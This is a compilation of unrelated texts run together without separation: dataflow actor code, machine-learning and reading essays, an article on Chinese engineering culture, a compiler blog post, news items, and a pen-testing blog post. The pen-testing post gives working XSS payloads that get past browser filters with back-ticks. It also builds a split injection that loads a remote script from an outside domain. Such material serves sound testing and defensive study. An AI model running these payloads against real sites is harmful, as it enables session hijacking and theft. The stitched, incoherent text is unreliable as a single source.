-- Global functions

functionf_abs x = if x < 0 then -x else x;

-- Actor descriptions

actordp                 -- One-pixel delay

  in (i:signed<s> dc)

  out (o:signed<s> dc)

vars: {S0,S1,S2} = S0

varz: signed<s>

rules

| (s:S0, i:'<) -> (s:S1, o:'<)

| (s:S1, i:'>) -> (s:S0, o:'>)

| (s:S1, i:'<) -> (s:S2, o:'<, z:0)

| (s:S2, i:'p) -> (s:S2, o:'z, z:p)

| (s:S2, i:'>) -> (s:S1, o:'>);

actorsub             

  in (i1:signed<s> dc, i2:signed<s> dc)

  out (o:signed<s> dc)

rules

| (i1:'<,  i2:'<)  ->o:'<

| (i1:'>,  i2:'>)  ->o:'>

| (i1:'p1, i2:'p2) ->o:'f_abs(p1-p2);

actorthr (t:signed<s>)

  in (i:signed<s> dc)

  out (o:unsigned<1> dc)

rules

|i:'< ->o:'<

|i:'> ->o:'>

|i:'p ->o:if p > t then '1 else '0;

-- network description

streaminp:signed<10> dc from "pcb";

streamres:unsigned<1> dc to "result";

netres = thr 40 (sub (inp, dpinp));

In the last few months, I have had several people contact me about their enthusiasm for venturing into the world of data science and using Machine Learning (ML) techniques to probe statistical regularities and build impeccable data-driven products. However, I have observed that some actually lack the necessary mathematical intuition and framework to get useful results. This is the main reason I decided to write this blog post. Recently, there has been an upsurge in the availability of many easy-to-use machine and deep learning packages such as scikit-learn, Weka, Tensorflow, R-caret etc. Machine Learning theory is a field that intersects statistical, probabilistic, computer science and algorithmic aspects arising from learning iteratively from data and finding hidden insights which can be used to build intelligent applications. Despite the immense possibilities of Machine and Deep Learning, a thorough mathematical understanding of many of these techniques is necessary for a good grasp of the inner workings of the algorithms and getting good results.

Why Worry About The Maths?

There are many reasons why the mathematics of Machine Learning is important and I will highlight some of them below:

1. Selecting the right algorithm which includes giving considerations to accuracy, training time, model complexity, number of parameters and number of features.

2. Choosing parameter settings and validation strategies.

3. Identifying underfitting and overfitting by understanding the Bias-Variance tradeoff.

4. Estimating the right confidence interval and uncertainty.

What Level of Maths Do You Need?

The main question when trying to understand an interdisciplinary field such as Machine Learning is the amount of maths necessary and the level of maths needed to understand these techniques. The answer to this question is multidimensional and depends on the level and interest of the individual. Research in mathematical formulations and theoretical advancement of Machine Learning is ongoing and some researchers are working on more advance techniques. I will state what I believe to be the minimum level of mathematics needed to be a Machine Learning Scientist/Engineer and the importance of each mathematical concept.

1. Linear Algebra: A colleague, Skyler Speakman, recently said that "Linear Algebra is the mathematics of the 21st century" and I totally agree with the statement. In ML, Linear Algebra comes up everywhere. Topics such as Principal Component Analysis (PCA), Singular Value Decomposition (SVD), Eigendecomposition of a matrix, LU Decomposition, QR Decomposition/Factorization, Symmetric Matrices, Orthogonalization & Orthonormalization, Matrix Operations, Projections, Eigenvalues & Eigenvectors, Vector Spaces and Norms are needed for understanding the optimization methods used for machine learning. The amazing thing about Linear Algebra is that there are so many online resources. I have always said that the traditional classroom is dying because of the vast amount of resources available on the internet. My favorite Linear Algebra course is the one offered by MIT Courseware (Prof. Gilbert Strang).

2. Probability Theory and Statistics: Machine Learning and Statistics aren't very different fields. Actually, someone recently defined Machine Learning as 'doing statistics on a Mac'. Some of the fundamental Statistical and Probability Theory needed for ML are Combinatorics, Probability Rules & Axioms, Bayes' Theorem, Random Variables, Variance and Expectation, Conditional and Joint Distributions, Standard Distributions (Bernoulli, Binomial, Multinomial, Uniform and Gaussian), Moment Generating Functions, Maximum Likelihood Estimation (MLE), Prior and Posterior, Maximum a Posteriori Estimation (MAP) and Sampling Methods.

3. Multivariate Calculus: Some of the necessary topics include Differential and Integral Calculus, Partial Derivatives, Vector-Values Functions, Directional Gradient, Hessian, Jacobian, Laplacian and Lagragian Distribution.

4. Algorithms and Complex Optimizations: This is important for understanding the computational efficiency and scalability of our Machine Learning Algorithm and for exploiting sparsity in our datasets. Knowledge of data structures (Binary Trees, Hashing, Heap, Stack etc), Dynamic Programming, Randomized & Sublinear Algorithm, Graphs, Gradient/Stochastic Descents and Primal-Dual methods are needed.

5. Others: This comprises of other Math topics not covered in the four major areas described above. They include Real and Complex Analysis (Sets and Sequences, Topology, Metric Spaces, Single-Valued and Continuous Functions, Limits, Cauchy Kernel, Fourier Transforms), Information Theory (Entropy, Information Gain), Function Spaces and Manifolds.

Some online MOOCs and materials for studying some of the Mathematics topics needed for Machine Learning are:

Finally, the main aim of this blog post is to give a well-intentioned advice about the importance of Mathematics in Machine Learning and the necessary topics and useful resources for a mastery of these topics. However, some Machine Learning enthusiasts are novice in Maths and will probably find this post disheartening (seriously, this is not my aim). For beginners, you don't need a lot of Mathematics to start doing Machine Learning. The fundamental prerequisite is data analysis as described in this blog post and you can learn the maths on the go as you master more techniques and algorithms.

This entry was originally published on my LinkedIn page.

I write a lot about reading, and one of the most common questions I get is

“What’s the point of reading if I just forget it all anyway?”

Paul Graham, essayist and founder of startup incubator Y Combinator, asks much the same question in his essay How You Know:

“I’ve read Villehardouin’s chronicle of the Fourth Crusade at least two times, maybe three. And yet if I had to write down everything I remember from it, I doubt it would amount to much more than a page. Multiply this times several hundred, and I get an uneasy feeling when I look at my bookshelves. What use is it to read all these books if I remember so little from them?”

Many of us feel this near-existential fear that we might “lose” what wisdom we extract from the books we read.

Such fears are unfounded.

First of all, if you love books, memory is never a problem. If I read for pure pleasure, what harm is there is forgetting? I get to enjoy the same wonderful book over and over again — for the book-lover, what better gift is there than forgetfulness?

But many of us read books for reasons other than pleasure. We want to get something from the books we read.

There is much written on retaining what you read (note it, connect it, summarize it, teach it, yawn…), but Paul Graham, I think, has something new and interesting to say.

Let’s take a look.

Forgetting Is Not Forgetting

Reflecting on the forgotten pages of Villehardouin’s Chronicles of the Crusades, Graham comes to a realization.

Although he has forgotten such details as the facts, dates and events, he has retained something far more important:

“The place to look for what I learned from Villehardouin’s chronicle is not what I remember from it, but my mental models of the crusades, Venice, medieval culture, siege warfare, and so on. …the harvest of reading is not so miserably small as it might seem.”

What we get from books is not just a collection of names, dates and events stored in our minds like files in a computer. Books also change, via our mental models, the very reality that we perceive.

You can think of mental models as psychological lenses that color and shape what we see. Some of this is genetic or cultural (Americans focus on very different parts of a picture than the Japanese do), but much of our perception is also shaped by experience — and experience includes the books we read.

“Reading and experience train your model of the world. And even if you forget the experience or what you read, its effect on your model of the world persists. Your mind is like a compiled program you’ve lost the source of. It works, but you don’t know why.”

Take Sherlock Holmes, for example. Aside from small shards of memory (speckled bands, cocaine and big dogs come to mind), I don’t remember much from the Holmes stories.

I don’t remember who killed whom or what Sherlock did or said(aside from quips of “Elementary, my dear Watson!”), but I did get something from those stories, something more than fact. They taught me how to think.

Now, let us take another step.

How does this idea of mental models help us to read better?

I. Read for the Models

Not all books were made equal, and neither were the pages of any particular book.

When we read, certain notable phrases, concepts and ideas (what Flaubert called “erections of the mind”) stand out more clearly from the others.

Our “psychological lenses” filter the books we read, selecting and highlighting what is most relevant at the time.

Though our eyes may pass over all of the words and our hands may flip through all of the pages, what we read is never the entire book — our mental models make sure of that.

When I read, I have learned to trust this intuition.

When something leaps at me, there’s a good chance it’s important. So I make a note in the margin of the page. This is an act of conversation with the author, and the very act of doing so creates a connection in my mind which, in turn, updates the models in my head.

There’s nothing new to this practice, of course. The markings are called marginalia, and readers have probably been doing it as long as we’ve had books.

II. Read It Again

“A good book gets better at the second reading. A great book at the third. Any book not worth rereading isn’t worth reading.” -Nassim Taleb

Now, a second tip.

If our brain is constantly “upgrading” its own mental models, then it makes sense that it never sees reality in quite the same way. This also means that no book is quite the same when you read it again.

Graham (with more dodgy hacker metaphors) continues:

“For example, reading and experience are usually “compiled” at the time they happen, using the state of your brain at that time. The same book would get compiled differently at different points in your life. Which means it is very much worth reading important books multiple times. I always used to feel some misgivings about rereading books. I unconsciously lumped reading together with work like carpentry, where having to do something again is a sign you did it wrong the first time. Whereas now the phrase “already read” seems almost ill-formed.”

Perhaps there is a lot of wisdom in the advice of Seneca, who, two thousand years ago, wrote the following:

“The person of delicate digestion nibbles at this and that; when the diet is too varied, though, food does not nourish but only upsets the stomach. So read always from authors of proven worth; and if ever you are inclined to turn aside to others, return afterward to the previous ones. Obtain each day some aid against poverty, something against death, and likewise against other calamities. And when you have moved rapidly through many topics, select one to ponder that day and digest.”

When I am done with my wanderings through the library stacks, I always return home to the same few authors. And, no matter how many times I return, I always find they have something new to say.

It is nearly impossible to build any kind of hardware these days without at some point in the process dealing with China — Chinese suppliers, and so by extension Chinese culture. Difficulties can be as simple as the usual inconvenience of everything stopping for weeks up to and after Chinese New Year, or engineers that you know to be otherwise reasonably competent simply choosing not to bring up glaring and obvious problems. Having encountered my share of Western hardware entrepreneurs on the verge of a breakdown, and just as many flummoxed Chinese bosses completely unable to see exactly why they’re so upset, I thought I’d try to offer at least a little insight into one of the many issues that comes up.

Nearly any school child in the world will be able to tell you whom they were taught invented the lightbulb, the telephone, the radio transmitter. Those same children will usually be able to tell you of at least a few Chinese inventions as well — gunpowder, paper, the compass etc. But with one key difference, even the Chinese children are unlikely to be able to credit even a group of people for their invention let alone a single (usually misattributed) individual.

China does not really have an Edison, or Tesla, or Bell — oh we’ve had people as brilliant, but they are not celebrated in quite the same way for cultural reasons. If you were to do an alternate history of China where we went through the Industrial Revolution first, you’d want to split the timeline around Mozi (墨子). The Mohists (followers of Mozi) had advanced siege engine design, schools of logic, mathematics and theory for the physical sciences. much of the same foundation that set the West on its particular trajectory. In the end, Confucian ideals won out and China became a culture that celebrated scholarship over ingenuity (to vastly oversimplify things).

Even our respective terms for engineer reflect this. The word engineer (Latin ingeniator) is derived from the Latin words ingeniare (“to contrive, devise”) and ingenium (“cleverness”). Yet in Chinese 工程师, the first character for engineer in Chinese is the carpenters square 工. He or she is a simple worker (工人 literally “Work Person”). Even now, engineers are not held in anywhere near the same regard in China as they are in the West.

Arguably one of most revered historical inventors we have is Lu Ban (鲁班). Lu Ban was an ancient Chinese carpenter, engineer, and inventor. He is revered as the Chinese god of builders and contractors (and in my opinion by extension Hardware Hackers). The inventions credited to him are probably at least somewhat apocryphal, but certainly not beyond reason. There are detailed accounts of a kite that could stay aloft for three days, a large variety of novel siege engines, a horseless carriage powered either by wind or some form of stored energy, and improvements to standard carpenters tools. As an interesting side note, Lu Ban’s wife is credited with the invention of the umbrella.

Although Lu Ban is not very important historically, there’s an idiom that references him that is useful for explaining far broader cultural issues to non-Chinese in a succinct way. Bān Mén Nòng Fǔ (班门弄斧) or “Don’t show your axe to Lu Ban”, our version of the English idiom “Don’t teach your grandmother to suck eggs“.

For Chinese, this means you think you know better than a professional, than experts. It’s the act of seeing something and saying “why don’t they do this instead?”. Traditionally, this is viewed as extremely arrogant and certainly not something to be encouraged in children or anyone else.

It’s important to state that Lu Ban’s role in Chinese culture is very minor at best, and obviously being a deity he does not directly correspond to say Edison (If you’d showed your axe to Edison he’d either have stolen the design or declared it a menace and tried to run you out of business so he could sell more saws). Again, I’m grossly oversimplifying both Chinese culture and history but you should not have to become an expert in either to get some PCBs made.

Simply put, in a strictly hierarchical society, proposing a solution missed by your superiors is at the very least perceived as arrogant. You’re just as likely to be penalized in some way for making whoever is responsible for the current solution lose face as you are to benefit in any way from proposing a better way.

Few Chinese companies promote engineering staff internally or even compensate them particularly well, so there’s little incentive to put an idea forward that may result in additional work and time away from their families. In short, what you get out of your Chinese partner has little relation to what they are capable of, and more closely indicates how they are incentivized (and they are, generally speaking, poorly incentivized). Since we are on the topic of idiom, this one rings true: “The nail that sticks out gets hammered down”. Unless you’re the boss of the company you rarely stand to profit from problem solving or creative thinking — and usually speaking up will be detrimental to you in some way.

As an overseas customer, knowing this may not get the job done faster, or better, or the way you want, but at the very least it will be taken less personally if there is a problem. In China we’re well aware that many of these habits are unhelpful, but when it comes to teaching problem solving and creative thinking we are trying to find a key to a very rusty, very old lock — but it’s a very nice lock that has been handed down for centuries so we don’t want to just throw it away and get another. There’s also a lot of evidence that it’s a pretty darn good lock if only we can get it working properly again. While that happens your patience is appreciated.

In the mean time, here’s a link to a printable 3D scan of Lu Ban as the patron saint of Hardware Hackers. He takes offerings of short pieces of printer filament, through-hole components, lead-free solder, and wire. Lu Ban helps those who help themselves, so provided you are a good craftsperson, work with care, and only supply him with high-quality offerings, he will ward off most printer jams, blue smoke, ESD (provided you ground yourself properly) and other common workbench mishaps.

Further Reading:

Naomi “SexyCyborg” Wu is a coder, hardware and DIY enthusiast from Shenzhen, China. Members of both the Chinese and Expatriate Shenzhen Hardware community contributed to both the content, and the editing of this article. Join Naomi this Friday as she host a Hack Chat on Making in Shenzhen.

Homework 1
Solutions

Homework 2
Solutions

Homework 4
Solutions

Midterm 1 solutions

Homework 7
Solutions

Midterm 2 solutions

In my last post, I wrote about a few ways that people use the word “transpiler”. In this post, I’ll offer a more personal take on the topic, based on my own experience of learning compiler development.

The first compiler I ever worked on was the one I wrote in the spring of 2009 for Kent Dybvig’s graduate compilers course at Indiana University. Actually, I didn’t write just one compiler for Kent’s course that semester; I wrote fifteen compilers, one for each week of the course. The first one had an input language that was more or less just parenthesized assembly language; its target language was x86-64 assembly. Each week, we added more passes to the front of the previous week’s compiler, resulting in a new compiler with the same target language as the compiler of the previous week, but a slightly higher-level input language.¹ By the end of the course, I had a compiler that compiled a substantial subset of Scheme to x86-64, structured as forty small passes. Each pass translated from its input language to a slightly lower-level language, or had the same input and output language but performed some analysis or optimization on it.

All this was made a lot easier because we used the “nanopass” approach to compiler development, supported by a nanopass framework that has since been open-sourced. The nanopass framework provides what’s more or less a domain-specific language for developing compilers that are structured as a series of small passes with well-defined input and output languages. The framework encourages you to build a compiler by first defining intermediate languages, then defining the compiler passes that will translate between them. It provides facilities for doing this in a low-overhead way.

We can think of the nanopass approach as taking the idea of parser combinator libraries, in which a parser is built up out of several smaller parsers, and extending that idea to the development of an entire compiler. With a parser combinator library, you write a parser by starting with a bunch of primitive parsers (say, that parse numbers or characters) and combining them, eventually building up the ability to parse a sophisticated language. The language we can parse gets fancier and fancier, but at every step of the way, the thing one has is a parser. Likewise, when developing a compiler, it’s useful to be able to think of the thing that you have at each stage of the process as already being a compiler; as you go along, it becomes a compiler for a language that’s increasingly different from the target language.

That’s why I say that I wrote fifteen compilers when I took Kent’s course. At the end of week one (and at the end of week two, and so on for each week), I had written a compiler! Granted, the compiler I had at the end of week one was a compiler for an input language that wasn’t very different from the output language. But it converted code in its input language to assembly code on which I could then run an assembler, producing a working executable. That was really exciting!

In my last post, I mentioned two different definitions of “transpiler” that coincide only if we assume that compilers always have a high-level input language. My experience in Kent’s course taught me to steer clear of making that assumption. To the contrary, it was useful to think of the thing I wrote in the first week of Kent’s course as being a compiler, despite it having a quite low-level input language. For one thing, it was hugely motivating to be able to say that I had a working compiler at each step of the way through the course. Some compiler-development experiences are long slogs where you write code for months without ever having a thing that produces an actual executable that you can run. In Kent’s course, on the other hand, we got that hit of gratification every week. Furthermore, thinking of each component of the complete compiler as itself being a compiler was useful because it encouraged us to structure our code in a readable, modular, and maintainable way, in much the same way that parser combinator libraries support the development of readable, modular, maintainable parsers.

If we take “compiler that translates between programming languages that operate at approximately the same level of abstraction” as the definition of “transpiler”, the single-pass compiler I wrote in the first week of Kent’s course was a transpiler. The same is true for any other individual compiler pass I wrote during the course. But in the course, we never thought twice about just calling them compilers. As my friend and mentor Sam Tobin-Hochstadthas pointed out, introducing a new word instead of just saying “compiler” creates an unnecessary divide in the compiler-writing community and prevents sharing of knowledge across that divide. As a concrete example of this happening, here’s a question asked on Stack Overflow in 2012 by someone who wanted to write a transpiler, but wasn’t sure how to proceed. They wrote:

Now the next thing i’d like to do, is convert that source code to another source code, thus transpiling it. But how does that work? I can’t find any direct tutorials, explanations about that.

There’s a wealth of tutorials, courses, books, and the like about how to write compilers. But if somebody believes that writing a transpiler isn’t fundamentally the same thing as writing a compiler, it may not occur to them to look at any of that material. They may have even come to believe that writing a compiler is a monolithic and unapproachable task that only an elite few can ever hope to accomplish, rather than something that can be broken down into a series of relatively small, well-defined, approachable steps, and so they might shy away from taking a course or reading a book about compiler development. Perhaps such a situation could be avoided if we just called every compiler a compiler, regardless of how small or big the difference in level of abstraction between its input and output languages.

The choice of words we use to talk about compilers matters to me because I don’t want anyone to be afraid of writing a compiler, or to believe that compilers have to be written in a monolithic way. I loved the pedagogical approach that Kent’s course took, because structuring my compiler as a bunch of little compilers made it much easier to write, debug, and maintain than if it had been structured monolithically. Those fifteen weeks were a lot of hard work, but they were also the most fun I’d ever had writing code. What’s more, it was because of having taken that course that I was able to get internships working on Rust a couple years later — not because of any specific skill that I learned in the course², but because after taking the course, I believed that a compiler was something I could write and something I wanted to write. Of course, lots of compilers — including Rust at that time — are monolithically structured and hard to understand, but the point is that compilers don’t have to be that way! Kent’s course showed me that compilers can be beautiful, even though they often aren’t. It made me want to work on compilers.

If I’d thought of the compiler I wrote for Kent’s course as just a bunch of transpilers glued together, rather than as a compiler, then I might never have applied for that Rust internship, might not have learned everything I learned from working on Rust for two summers, and might not have gotten to know a lot of people whose presence in my life has helped me build a research career. When Sam says that using the word “transpiler” “separates [people] from useful knowledge and community”, he’s talking about what could have easily happened to me. And I might have ended up believing that Real Compilers™ must be structured monolithically — which would have made me worse at writing real compilers.

Thanks to Jaseem Abid, Lea Albaugh, David Albert, Michael Arntzenius, Rudi Chen, harrison clarke, Carl Douglas, Julia Evans, Jeff Fowler, Philip Guo, Laura Lindzey, Sean Martin, Andi McClure, Iain McCoy, Vaibhav Sagar, Stevie Strickland, and Sam Tobin-Hochstadt for giving feedback on drafts of this post or discussing aspects of it with me.

README.md

g++ -std=c++11 XXXXX.cpp YYYYY.cpp ZZZZZ.cpp -lpthread

cd test/XXXXXX_test/
make
./test

Two papers on their work were published in the journal Physical Review Letters.

A long-standing question in astrophysics is whether the universe's very first black holes came into existence less than a second after the Big Bang or whether they formed only millions of years later during the deaths of the earliest stars.

Alexander Kusenko, a UCLA professor of physics, and Eric Cotner, a UCLA graduate student, developed a compellingly simple new theory suggesting that black holes could have formed very shortly after the Big Bang, long before stars began to shine. Astronomers have previously suggested that these so-called primordial black holes could account for all or some of the universe's mysterious dark matter and that they might have seeded the formation of supermassive black holes that exist at the centers of galaxies. The new theory proposes that primordial black holes might help create many of the heavier elements found in nature.

The researchers began by considering that a uniform field of energy pervaded the universe shortly after the Big Bang. Scientists expect that such fields existed in the distant past. After the universe rapidly expanded, this energy field would have separated into clumps. Gravity would cause these clumps to attract one another and merge together. The UCLA researchers proposed that some small fraction of these growing clumps became dense enough to become black holes.

Their hypothesis is fairly generic, Kusenko said, and it doesn't rely on what he called the "unlikely coincidences" that underpin other theories explaining primordial black holes.

The paper suggests that it's possible to search for these primordial black holes using astronomical observations. One method involves measuring the very tiny changes in a star's brightness that result from the gravitational effects of a primordial black hole passing between Earth and that star. Earlier this year, U.S. and Japanese astronomers published a paper on their discovery of one star in a nearby galaxy that brightened and dimmed precisely as if a primordial black hole was passing in front of it.

In a separate study, Kusenko, Volodymyr Takhistov, a UCLA postdoctoral researcher, and George Fuller, a professor at UC San Diego, proposed that primordial black holes might play an important role in the formation of heavy elements such as gold, silver, platinum and uranium, which could be ongoing in our galaxy and others.

The origin of those heavy elements has long been a mystery to researchers.

"Scientists know that these heavy elements exist, but they're not sure where these elements are being formed," Kusenko said. "This has been really embarrassing."

The UCLA research suggests that a primordial black hole occasionally collides with a neutron star—the city-sized, spinning remnant of a star that remains after some supernova explosions—and sinks into its depths.

When that happens, Kusenko said, the primordial black hole consumes the neutron star from the inside, a process that takes about 10,000 years. As the neutron star shrinks, it spins even faster, eventually causing small fragments to detach and fly off. Those fragments of neutron-rich material may be the sites in which neutrons fuse into heavier and heavier elements, Kusenko said.

However, the probability of a neutron star capturing a black hole is rather low, said Kusenko, which is consistent with observations of only some galaxies being enriched in heavy elements. The theory that primordial black holes collide with neutron stars to create heavy elements also explains the observed lack of neutron stars in the center of the Milky Way galaxy, a long-standing mystery in astrophysics.

This winter, Kusenko and his colleagues will collaborate with scientists at Princeton University on computer simulations of the heavy elements produced by a neutron star-black hole interaction. By comparing the results of those simulations with observations of heavy elements in nearby galaxies, the researchers hope to determine whether primordial black holes are indeed responsible for Earth's gold, platinum and uranium.

Explore further:Primordial black holes may have helped to forge heavy elements

OSLO (Reuters) - Norway is tightening security procedures ahead of a parliamentary election on Sept. 11 to prevent possible vote tampering, the government said on Friday.

The security of IT systems will be enhanced, and all votes must be counted manually at least once in addition to the customary scanning of ballot papers by computers, it added.

Norway’s National Security Authority and the Police Security Service were both involved in the decision, the Ministry of Local Government and Modernisation said in a statement.

Local media outlets have recently reported that IT experts questioned the safety of systems used for the automatic count of ballots.

“There are no indications that anyone wishes to influence the conduct of the vote. There is, however, increasing activity and attention, also internationally, with regards to some of the technical systems. This in itself raises the risk,” the ministry said in a statement.

Minister of Local Government and Modernisation Jan Tore Sanner added: “Safety and trust are key in carrying out the election. We will not be naive or allow uncertainty to become a factor. Voters must be reassured that the outcome is correct.”

Opinion polls show a neck-and-neck race between Conservative Prime Minister Erna Solberg’s centre-right block and the centre-left parties headed by Labour leader Jonas Gahr Stoere.

Out of four polls published on Aug. 31, two showed a slight majority for Solberg, while two gave Gahr Stoere the lead.

For a graphic on Norway's parliamentary elections, click: here

In JavaScript, the grave accent, `, aka the back-tick character, allows the use of Template Literals, a new feature first introduced in Firefox 34 in late 2014. Today, about 77% of browsers have native support for the feature. Template Literals allow the use of string interpolation and multi-line strings in JavaScript. In this post, I’ll show you how to use multi-line strings to bypass Reflective XSS Protection and other XSS attacks in today’s browsers.

Finding a vulnerable page

Pen testing without permission might be illegal. There is precedent for unwarranted pen testing, XSS testing included, getting people in lots of legal trouble. I do pen testing as part of my day job, (usually) with explicit permission from the owner. :-)

Okay, so now that that is out of the way, I’ll give you my easy method for finding a vulnerable page, and then send you on your way to the more complicated stuff.

The easy way:

1. Find an input field, like a search box.
2. Type: <xss.
3. Press ↵ Enter.

If <xss is returned in the source code of the page, you’ve got a page that is likely vulnerable to XSS attacks. If you find <xss more than once on the page, you’ll probably be able to bypass the browser’s Reflective XSS Protection filters using the multi-line trick!

The other ways:

I’ve got two sites I go to when I get stuck:

1. OWASP's XSS Filter Evasion Cheat Sheet
2. html5sec.org

These two sites aren’t exhaustive, and you’ll often need to know details about the whole HTTP pipeline to pull some attacks off fully, but they offer a great way to get started in front-end pen testing.

Attack basics

What is especially tricky about the Template Literal attack is that you’ll need to find two XSS vulnerabilities on a single page for it to work. In the first vulnerability, you’ll need to open a script tag (if not already within a JavaScript execution context) and in the second, you’ll need to close it.

Let’s use a very simple, and real, example I found in the wild. We’ve got a page that we’ve found is vulnerable to The Easy Way attack through search URL like this: http://web.site/search?q="<xss that outputs the following HTML:

<ul><li><ahref="/search?q="<xss&amp;p=1">1</a></li><li><ahref="/search?q="<xss&amp;p=2">2</a></li></ul>

Unfortunately, we can’t use a basic XSS attack like /search?q="<script>alert('xss')</script>, which does perfectly inject our attack into the HTML, because the browser itself won’t allow the page to load; the Reflective XSS Protection kicks in and stops our script from running! Instead, we’ll need to combine the two XSS vulnerabilities into one, (ab)using a grave accent character, like this: /search?q="`;alert('XSS')</script><script>`​. Which outputs:

<ul>  <li><a href="/search?q=/search?q="`​;alert('XSS')</script><script>`&​amp;p=1">1</a></li><li><a href="/search?q=/search?q="`;alert('XSS')</script><script>`&amp;p=2">2</a></li></ul>

Our complete injection is in bold and I’ve highlighted the part of the attack that becomes valid HTML, complete with our script tag. This attack slips right by the browser’s Reflective XSS Protection filter!

This attack was easy to pull off, because we essentially had an unlimited number of characters available to craft the attack. An even more useful case for the grave accent attack is when we are limited in the number of characters we can use.

Limited characters and multi XSS attack interaction

Let’s imagine you’ve found a website that is vulnerable to XSS data injection attacks (where you can persist your attack code without it being in the URL), but there are no fields that allow you to submit enough data to perform a useful attack. For example, whenever you try to save your Username as<script src=//your.domain> you only get <script src=//yo back instead, truncated to 16 characters. How can you exploit this, assuming other fields are similarly vulnerable and jQuery is already available?

Let’s assume your user’s public profile page’s HTML structure looks like this:

<ul><li>Username: <span>davidmurdoch</span></li><li>Twitter: <ahref="https://twitter.com/atdavidmurdo​ch">Twitter</a></li><li>YouTube Video: <ahref="https://www.youtube.com/watch?v=dQw4w9WgXcQ​">YouTube</a></li></ul>

This seems pretty reasonable to me.

What could you put in the Username, Twitter, and YouTube Video fields to make the attack work? The Twitter field allows up to 15 characters and the YouTube Video field allows 11 (and you already know the Username field is limited to 16).

In case you’re thinking this is is just some contrived example that doesn’t happen in the real world; this is the exact situation we found while contracted to pen test a client’s online marketplace. In the end, we credited the owner’s account with 4 quintillion of their online “currency” by utilizing various attacks, including this one. But I digress…

Even if you could get an " onload= trick to work, you can’t do anything useful with the 7 characters you’ve got left over — and what’s the point of an attack that can’t actually do anything? Could you spread our attack over the 3 limited fields using `?

Give it a try before diving in to the code below.

The answer:

<ul><li>Username: <span><script>$(`a/*</span></li><li>Twitter: <a href="https://twitter.com/`).load`//л.cc/">Twitter</a></li><li>YouTube: <a href="https://www.youtube.com/watch?v=`</script>">YouTube</a></li></ul>

Here’s how it works:

Each field is used in a way that combines and interacts with the other fields. I’ll explain each field one at a time.

Username

In our username field we enter the string "<script>$(`a/*". This opens our script tag then uses jQuery ($) to select the <a> elements on the page by using a clever selector trick. You probably know that "a" is a valid selector on its own, and that "a</span></li>\n<li>Twitter…" would throw an error. So what can we do? We don’t have enough space to craft the attack to exclude the extraneous HTML so we have to figure out how to: 1) include it in the selector, 2) make sure it does’t throw, and 3) make sure it still selects something.

I finally found something that worked: /*, a CSS comment. It seems that the Sizzle CSS selector engine, used by jQuery, exits the selector parsing early for selectors that contain comments (I haven’t verified this is exactly what happens). This means we end up just selecting all a elements on the page. Perfect!

If it isn’t clear already, that ` character we use allows us to grab the HTML of the line below, including it in our selector string, so the new line doesn’t break our script tag, as it would have had we created the selector string with a typical " character. This lets us combine our Username XSS with the following Twitter XSS.

We enter `).load`//л.cc/ into the Twitter field. The first thing this does is close the CSS selector string (`) and function call ) we started up in the Username field. We then call jQuery’s load method which will load into the element (those anchor tags we selected) any HTML returned by the URL we pass in (if CORS is properly configured on the server, of course).

The `//л.cc/ part is actually a valid URL, and is a bit of a cheat. I couldn’t figure out how to remove another character from the attack in order to use a 5 character domain (e.g., lv.ht or something), so I used a punycode domain instead. The one above isn’t currently registered, so feel free to buy it for yourself.

The way this domain trick works is that we set up the server the domain points to always return the proper CORS headers and an HTML document with our attack script embedded within it for all requests to any URL.

Did you notice we skip the parenthesis on the call to load? This is another feature of Template Literals (called Tag Functions) that enable us to shave two characters off our total character count. Note, however, that this trick isn’t a perfect replacement for passing strings the “usual” way, and doesn’t work when passing in the selector string to $ like this: $`a`. This is because when using jQuery’s $ function as a Tag Function it treats the Template Literal string we pass in an array instead of a CSS selector string (this isn’t a bug in jQuery, it actually is an Array here — this is just how Tag Functions work).

We then use the same Template Literal trick we used in the Username field, the ` character, to craft our URL to our server while simultaneously “consuming” the closing Twitter HTML and opening YouTube Video HTML in a JavaScript Template Literal so this HTML doesn’t invalidated our script tag. Appending this HTML to our URL works because our server is configured to always return our attack payload for any path.

YouTube Video

We finish our attack by entering `</script> in our YouTube Video field. We end the Twitter field’s call to load with a final ` character then close our script tag. And we’ve still got a single character to spare!

This completes our multi-vector XSS attack and allows us to load in any JavaScript payload we want!

YouTube Video alternative

Unrelated to the grave-accent trick, another handy tool we could have used here, if the page allowed for it, is to end the attack script without closing our script tag, and instead, open a multi-line comment (/*) and rely on one of the page’s own script tags’ multi-line comments to close it for us later in the page. Like this:

    ... same as above ...  <li>YouTube: <a href="https://www.youtube.com/watch?v=`/*">YouTube</a></li><ul><script>
    /*
        BEGIN SITE CODE
    */init();</script>

Notice that the end of the YouTube Video’s opening <a> tag through the closing </ul> tag are all now within our comment block. It even continues on through to the following <script> tag and its comment block until we reach the close of that comment.

An added bonus to this attack is that we don’t use any characters that get altered by functions designed to escape special HTML characters (typically &"'<>); it’s surprisingly common for some data to be properly sanitized, while other user data on the same page is not. Unfortunately, this attack doesn’t always work since we can’t guarantee the page will have a script tag with a multi-line comment in it placed following our XSS attack.

Conclusion

The back-tick/grave accent, used to create JavaScript Template Literals, can be a great tool in your pen testing arsenal. It allows for XSS attacks that “consume” extraneous HTML, while effectively bypassing Reflective XSS filters. In a similar fashion, JavaScript’s multi-line comments can also be used, though when pressed for bytes, the grave accent can be extra handy.

Let me know if you can find a better way to exploit the examples above!

Happy pen testing!

When beginners get started with machine learning, the inevitable question is “what are the prerequisites? What do I need to know to get started?”

And once they start researching, beginners frequently find well-intentioned but disheartening advice, like the following:

You need to master math. You need all of the following:
– Calculus
– Differential equations
– Mathematical statistics
– Optimization
– Algorithm analysis
– and
– and
– and ……..

A list like this is enough to intimidate anyone but a person with an advanced math degree.

It’s unfortunate, because I think a lot of beginners lose heart and are scared away by this advice.

If you’re intimidated by the math, I have some good news for you: in order to get started building machine learning models (as opposed to doing machine learning theory), you need less math background than you think (and almost certainly less math than you’ve been told that you need). If you’re interested in being a machine learning practitioner, you don’t need a lot of advanced mathematics to get started.

But you’re not entirely off the hook.

There are still prerequisites. In fact, even if you can get by without having a masterful understanding of calculus and linear algebra, there are other prerequisites that you absolutely need to know (thankfully, the real prerequisites are much easier to master).

Math is not the primary prerequisite for machine learning

If you’re a beginner and your goal is to work in industry or business, math is not the primary prerequisite for machine learning. That probably stands in opposition to what you’ve heard in the past, so let me explain.

Most advice on machine learning is from people who learned data science in an academic environment.

Before I go on, I want to emphasize that this is not a jab. Using the term “academic” is not meant to be an insult. People who work in academia frequently build the tools that people in industry use. And through research, they also push the field forward. I admire these people.

